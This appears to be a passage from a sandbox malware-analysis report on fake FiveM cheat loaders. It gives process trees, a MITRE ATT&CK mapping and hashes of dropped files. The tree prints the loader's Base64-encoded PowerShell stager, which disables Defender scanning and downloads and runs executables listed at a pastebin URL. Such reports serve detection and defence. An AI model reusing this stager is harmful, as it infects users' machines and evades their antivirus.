    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=132 --always-read-main-dll --field-trial-handle=10272,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=9880 /prefetch:1
    3⤵
    PID:5028
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=133 --always-read-main-dll --field-trial-handle=10412,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=10408 /prefetch:1
    3⤵
    PID:4032
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=134 --always-read-main-dll --field-trial-handle=10168,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=10352 /prefetch:1
    3⤵
    PID:5580
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=135 --always-read-main-dll --field-trial-handle=10584,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=9108 /prefetch:1
    3⤵
    PID:2676
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=136 --always-read-main-dll --field-trial-handle=10296,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=10336 /prefetch:1
    3⤵
    PID:5696
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=137 --always-read-main-dll --field-trial-handle=10636,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=10100 /prefetch:1
    3⤵
    PID:5964
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=138 --always-read-main-dll --field-trial-handle=6072,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=10764 /prefetch:1
    3⤵
    PID:5424
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=139 --always-read-main-dll --field-trial-handle=9412,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=9752 /prefetch:1
    3⤵
    PID:3152
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=140 --always-read-main-dll --field-trial-handle=10568,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=9744 /prefetch:1
    3⤵
    PID:2604
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=10932,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=10396 /prefetch:14
    3⤵
    PID:240
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=142 --always-read-main-dll --field-trial-handle=10572,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=8100 /prefetch:1
    3⤵
    PID:2372
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=10992,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=11044 /prefetch:14
    3⤵
    - NTFS ADS
    PID:2400
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --instant-process --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=144 --always-read-main-dll --field-trial-handle=5928,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=9872 /prefetch:1
    3⤵
    PID:464
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=8800,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=8572 /prefetch:14
    3⤵
    PID:6420
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=148 --always-read-main-dll --field-trial-handle=8480,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=8484 /prefetch:1
    3⤵
    PID:6196

C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
1⤵
PID:2128

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
1⤵
PID:4812

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:3272
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
  2⤵
  PID:4936

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x00000000000004C4 0x00000000000004D8
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5424

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:760

C:\Users\Admin\Downloads\FiveM-TZ-Project-PVP-TOOL-main\FiveM-TZ-Project-PVP-TOOL-main\Loader.exe
"C:\Users\Admin\Downloads\FiveM-TZ-Project-PVP-TOOL-main\FiveM-TZ-Project-PVP-TOOL-main\Loader.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1188
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand IwAgAFMAdABhAHIAdAAgAGEAIABoAGkAZABkAGUAbgAgAFAAbwB3AGUAcgBTAGgAZQBsAGwAIABwAHIAbwBjAGUAcwBzACAAdABvACAAZABpAHMAcABsAGEAeQAgAGEAIABtAGUAcwBzAGEAZwBlACAAYgBvAHgADQAKAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABwAG8AdwBlAHIAcwBoAGUAbABsACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIABAACIADQAKAEEAZABkAC0AVAB5AHAAZQAgAC0AQQBzAHMAZQBtAGIAbAB5AE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMAOwANAAoAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBNAGUAcwBzAGEAZwBlAEIAbwB4AF0AOgA6AFMAaABvAHcAKAAnACcALAAgACcAJwAsACAAJwBPAEsAJwAsACAAJwBFAHIAcgBvAHIAJwApADsADQAKACIAQAANAAoADQAKACMAIABBAGQAZAAgAGUAeABjAGwAdQBzAGkAbwBuAHMAIAB0AG8AIABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByAA0ACgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgAC0ARgBvAHIAYwBlAA0ACgANAAoAIwAgAEQAbwB3AG4AbABvAGEAZAAgAGYAaQBsAGUAcwAgAGYAcgBvAG0AIABhACAAUABhAHMAdABlAGIAaQBuACAAVQBSAEwAIABhAG4AZAAgAGUAeABlAGMAdQB0AGUAIAB0AGgAZQBtAA0ACgAkAHcAYwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0AA0ACgAkAGwAbgBrACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcABhAHMAdABlAGIAaQBuAC4AYwBvAG0ALwByAGEAdwAvAFIAaAB3AFgARgBGAHcARgAnACkAIAAtAHMAcABsAGkAdAAgACIAYAByAGAAbgAiAA0ACgANAAoAIwAgAEcAZQBuAGUAcgBhAHQAZQAgAGEAIAByAGEAbgBkAG8AbQAgAGYAaQBsAGUAIABuAGEAbQBlACAAcAByAGUAZgBpAHgADQAKACQAZgBuACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AFIAYQBuAGQAbwBtAEYAaQBsAGUATgBhAG0AZQAoACkADQAKAA0ACgAjACAARABvAHcAbgBsAG8AYQBkACAAYQBuAGQAIABlAHgAZQBjAHUAdABlACAAZQBhAGMAaAAgAGYAaQBsAGUADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsADQAKACAAIAAgACAAJABmAGkAbABlAFAAYQB0AGgAIAA9ACAASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQANAAoAIAAgACAAIAAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABsAG4AawBbACQAaQBdACwAIAAkAGYAaQBsAGUAUABhAHQAaAApAA0ACgAgACAAIAAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAZgBpAGwAZQBQAGEAdABoAA0ACgB9AA==
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:6028
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.MessageBox]::Show('', '', 'OK', 'Error');
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2364
- - C:\Users\Admin\AppData\Roaming\zhdmslwe.41i0.exe
    "C:\Users\Admin\AppData\Roaming\zhdmslwe.41i0.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    PID:4444
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      PID:6064
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5176

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:4296

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:2260

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\Skript.gg\" -ad -an -ai#7zMap19799:80:7zEvent24064
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:200

C:\Users\Admin\Downloads\Skript.gg\Loader.exe
"C:\Users\Admin\Downloads\Skript.gg\Loader.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:4212

C:\Users\Admin\Downloads\Skript.gg\Loader.exe
"C:\Users\Admin\Downloads\Skript.gg\Loader.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:5580

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5388
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2904

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:4984

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x00000000000004C4 0x00000000000004D8
1⤵
PID:5580

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\password_is_eulen\" -ad -an -ai#7zMap31809:96:7zEvent602
1⤵
PID:2240

C:\Users\Admin\Downloads\password_is_eulen\loader_prod.exe
"C:\Users\Admin\Downloads\password_is_eulen\loader_prod.exe"
1⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:3384

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Phishing

T1566

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e5faa92.rbs

Path C:\Config.Msi\e5faa92.rbs
Size 20KB
SHA256 caccd7e18b2d01391d9c03dfb5256d80a9af904cccb38515a9c0c4d2fa7c0e05
MD5 8bd3ad2637eed8ca3c2fdfc19a71e5f9
SHA1 26a5c587d22b580227005ceed92daffe847da56f
SHA512 e05d028033fb539814b73663a36c4507f3d8712460d16f1d81ef13160d2cb3e310a2202a0cf1a5e4e198d8dadaf32f4bad6b86b16035b6d4214bf2f460b68509
SSDEEP 192:ZAANEduJUhUvULU4U2riTbBCNSgPb1gCpI7b1gCpf7aQBRi5p6:ZAAwqaiq5hSub1gCib1gCVZ5
MD5 SHA1 SHA512 SSDEEP

Submit Download

17f51364-7598-4de5-ad13-f5c9f4598274.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\17f51364-7598-4de5-ad13-f5c9f4598274.tmp
Size 46KB
SHA256 65e4ab55d1642ea924de2cf644880f83a1c28b5f655075db6e8a0d24d80d2dc9
MD5 b905ff838415aa6cc8888ee5ead9b13c
SHA1 5bcb4f2306cec2c51d57c46063bf163934f2794e
SHA512 29667445d56254b179603b487a38ea9c418257d3136ebcf6a04a51b9a14ff06c5e2f5c266762fad49769f2a5a94aa0b4d04f6f138af37931b0eac1a99031a1cc
SSDEEP 768:IuTzE6esE8lDldUGk/HgwqrQ4ryC24kLitvVDbi/rbdF4X7AZkKui3IyIdauHOW4:leB85dcDAQf4srhqrApZ3Vq/uW6DP
MD5 SHA1 SHA512 SSDEEP

Submit Download

CrashpadMetrics-active.pma

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\CrashpadMetrics-active.pma
Size 1024KB
SHA256 624eaf606d0845d9ef3f81652f29a5b8489b6543deb1e4fd4903c415238ee9d9
MD5 38623c06e100113cf825efa6a44b2386
SHA1 479d8e0c6d7d10c05203a37707a6249d2537a9ed
SHA512 452d7012b949688cabc6afbf4badfe9d02c090f30c06557f7f87b606cd716cda97771136964935eaa4d1668303889011f75ff599a79a6837c285ef84ebc2c8e7
SSDEEP 12:sUXhV0xosfxCe+JKlkQuMRxCb8ZXfgYJ0IJpP0KLsyW1L7Fx6:fRqxosfxWMk8xVZ4YWI30otWn
MD5 SHA1 SHA512 SSDEEP

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 272d838982199dc905b6eea7f57fc331c216efacab7d865cf427fa4972aff009
MD5 9e4597d6e9951c90f605fa4a330843b2
SHA1 c9a4c72aba3b9584e03d0db43aee91e51094c369
SHA512 adbf3948d11ce019ee5a0e8971b7b08567c7a3de742e03274ae0bd868f64f4d09e93e91e38681b34eb017af7d4708e5484b776b9b3828715d05f35621423fe05
MD5 SHA1 SHA512

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 00c6132872eccb410e321fabf1b31f4c88742dfb6893102ba9200033d961c5de
MD5 94e7f3955271c03f15b8e4fe4ecb59f1
SHA1 13b320c559bf34a5a9e53f2e19bbd54474ca75b1
SHA512 1bdffff2fe07e9c3d6f7843b4a0de6dc523df7f672d8207154da1f2e213d4ff1901dbbe26e53b01b888c6a5e3a8a9d6c9fe0a6ee4c91149d55fda1c435556190
MD5 SHA1 SHA512

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 f2a3823c3fd310344d48423c5044aa723598cf35e9f444bd427bc25acc201249
MD5 62efd1aae8e723deb4864bc610fc21e8
SHA1 8bd9d67a24e037e8873cc34437a278cfc5e8dc67
SHA512 871477dbb749510ae6ab77cdd8b7891a4f8ae24f00ce01ba62a8cd3722c9af8546fe3e9fef04ceee95cb023b22ccae47c56fa3671c1874015c3ef4968ecc599a
MD5 SHA1 SHA512

Submit Download

LOG.old

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old
Size 334B
SHA256 69179f546ea135708a0dd20ea46c1e9a65fbe82834643022aa5dfa86362aaad3
MD5 c02bb0d4bcb09ec0b685f8fdf3613021
SHA1 586a5341cd048b33a46c98ed5b40f729e688352f
SHA512 8eefb922ea15311459b5daab3f4a457c33b3265da00c74af580a5f261644270dc11f547c76a219a8539d734ab25352bb2edc23466f7e97b384cd0a4d1ff884d3
MD5 SHA1 SHA512

Submit Download

LOG.old

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old
Size 334B
SHA256 d1207cb033457b1a15f23d4d7efa1cdb28781b38d449ada96fbbb72a4eb42587
MD5 44af0e93f5c5eee74ddbd0a830d7c134
SHA1 665bdfff150445b1b84be0da89d23e2d68bbb7ab
SHA512 802fb2bca549801d7b5dd62232668325fd6efefc72ff60b30a31a02833736e77593853b1a7fa456937359302997aea75c6914ecc1fbccbd6bdf51f8e664995f8
MD5 SHA1 SHA512

Submit Download

data_0

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\data_0
Size 44KB
SHA256 df2719f0053260d3411ad8fe5a585393fdb59cf9dbfe7ffb91c534661134f9ba
MD5 d18d37a92416d45fe65e7488c8b7b2d2
SHA1 c280f8f0ba3079b13378dbfd85c5e14002b26b83
SHA512 8027eeaaa771e9b27ed09aafc86750efde0bf7d51ec6a713cf4c2a859fc94ec13492e6fc3ff9fab57b3de518d0d405d3e7756a61213e7083c652ea733572e691
SSDEEP 384:1+lKreQUBQyFV6vO7LgDbXDmQJa71sAgxo3UVL:YluUKyFYFPaaAFuL
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\data_1
Size 264KB
SHA256 007ad640de6998ee40fe68d5af9504a0ec319334f99b23c0eae04451cdea93fa
MD5 4209676c849f9f3fae9243fe63b1907e
SHA1 2fa6dbe4568e4a9223fce24150436b5ddf546992
SHA512 551ea1bb29e495039afd3559e2b00537627b869f850a723b1c6bffe5ada7a4e2b2afecfe04be0850b7902f074ce3a596750fa5990feb3485d60d8a6c56fcbcf0
SSDEEP 1536:zyZjkVoyvPi/glgXsK7CjsqqnYr0f3096FxZOOXy6ie77KTzZnSWeJ0yJ9ZgUCS8:9vY+Xpe
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_2

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\data_2
Size 1.0MB
SHA256 6832ae050017c2331c9cb426d5bb8e20af53ecd17f2ed5496bdd0be6d3ffc383
MD5 64de6a0f27b365aa53248943e8fc71b8
SHA1 fbb033c869f4fddf16dbb219a24f9fed869763ce
SHA512 64bd9c692c16b491fa64dae993d3a87e0dd7d8f2ceb05cc1e550b273f43fea7725b835260497dd1b9cf172318146039cf69636cd796e47cdfc131fb1df3c8a52
SSDEEP 3072:VGXn5mQfH8YpLX0aTxk0gTZM4+yxaCjidDk9THPXx0MX0hSTLaCxa0aNeW78kCs:V85dUp0k0gV+YaOOGn2SPaGoewi
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_3

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\data_3
Size 8.0MB
SHA256 47863fc0345491f267d37d1610050232e2931e402d952b9c01278c118ad2e0bd
MD5 ca5173c934f5b7097129f17a43ea3ef0
SHA1 4240071fb4efde5a32e2ea9ca9ccc80113e81dad
SHA512 addb425deb6eb796fc0d32d600b9a1a77716f1d22ff1cbd05585d85285962bf4b11d8689f159fc83749e2283feca6442b62a5f4fb85605c3b0b5b32271e58591
SSDEEP 24576:M7sJB2SZFzacuVKDFJ8NS8CrVsC11Vgl4js6vpXZLNOLPiHVbPqrgaPhbq:AsJl1acuc58ss01uWPBXOmHxSrA
MD5 SHA1 SHA512 SSDEEP

Submit Download

f_000098

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_000098
Size 256KB
SHA256 bd2aadbf00196cc0ac2fb4c03e46c10ae55675b44caa9d3419d8f71662841173
MD5 3f3297819cd2b781023bb50471132691
SHA1 206d8863f895adc7cd368b454c86715ba027a688
SHA512 12749e9126de711f23204455aaf9992e02102cf5261e91c3e9f43016a80b83f72854188baed529c0b1ea0c8d78c031e30b2cd70a532e85fd93d1c509fe7965a6
SSDEEP 6144:eFCiVmdWqpzvmE0G+7i4SMFlO3P3jABMmxnY0o:e10R+lf7XFlOvjAHl
MD5 SHA1 SHA512 SSDEEP

Submit Download

f_00009e

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_00009e
Size 20KB
SHA256 509729403e6aee0040b917a0157d8f1a6fc23685a41da7a4e17b89a68bc9a98c
MD5 34e728a79be1acc7ef5d0640f4b6e600
SHA1 dc3ca3954edf1aad40d74113eab81776efe2effb
SHA512 e49948f2d2a50d027adaac02c50b2d89a632ec4e74d8fa3324e232df9fcc15aa7887c3cbd4398fea7559ce033855b702bce1769365d5f01b96151c78bb152667
SSDEEP 384:Ev8Nib/X/GfrEZJ8LkwsSoU2TVMReZzZzimKm87FwWK2ZUuOlZKPRzVTgnKQF:Ev8Nij/GgQLYS/4VM4Fz7YCV2ng0JI
MD5 SHA1 SHA512 SSDEEP

Submit Download

f_00009f

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_00009f
Size 62KB
SHA256 c1f50d8863a0561e1b49f4a998ec5c3900fafa85e79a15676636c347a0c435b9
MD5 9729d2b580f98430b12aadaef600a8d5
SHA1 76a010f40563b216d69c89c9dbcc7bc1fb74d2bf
SHA512 22217bd69a66e365a7a211ec4b118b79ab7de825dd6c26658fe17b873a9d026c373d1c9f31d4aa377155997c2f858a006eabecd93657ddad6c855062ce1e8068
SSDEEP 1536:VpRVybKo+3fVRA0+N3aTkU4jSDF297wFmDOImcb/gALpk8VR:VnVybCPVRAXN3SJEShrwaxczg+pl3
MD5 SHA1 SHA512 SSDEEP

Submit Download

f_0000a0

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_0000a0
Size 64KB
SHA256 d2ffa7fdd7892b4822eff4a89232bb1a4a37a52474819e5fa6b2c0b1d32e8e43
MD5 55db53a89098f4b6b215e1cc6e9efc60
SHA1 4a1d73f9c6e11a1597c8e1237e99487aa5bcf05c
SHA512 cade704e8ae437799fd726b92c8ba98020878e7bb2c0d5920986745b11e5542e55170597cc9da5d20dfd525f47c3a1c2c85a1c67e6f281801cc63bc44fa35102
SSDEEP 768:gVRwHRypW5HMwOG8LdLH7ULtaylhED/P3fB5huSlCz:gV2HRywsS8LdL7oaJz
MD5 SHA1 SHA512 SSDEEP

Submit Download

f_0000a6

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_0000a6
Size 57KB
SHA256 1cf9e73bc11a69b1f294bfa10e2183f1e63de69899ccc21a3a1d72dfae40ffd3
MD5 0ca9bd1d70a2bebca692c7680a43fb4a
SHA1 1107e30b9130e5ffe965d74e74575329d33d928b
SHA512 1b9b7ec92588dca96fcedf0cbc55d6fd581d769979edaa632ba24af4ab603d9d4dcad410476dcaf8f0c33fa4a93bdfdb26b563ecceb5c86e849256f5f2ca1a2d
SSDEEP 1536:Kg6T+rd4kJWSyMeaRNq0Smfz47Vn56TZTo7C:3Smd1NyMeR0SmfiV56Tpo7C
MD5 SHA1 SHA512 SSDEEP

Submit Download

f_0000be

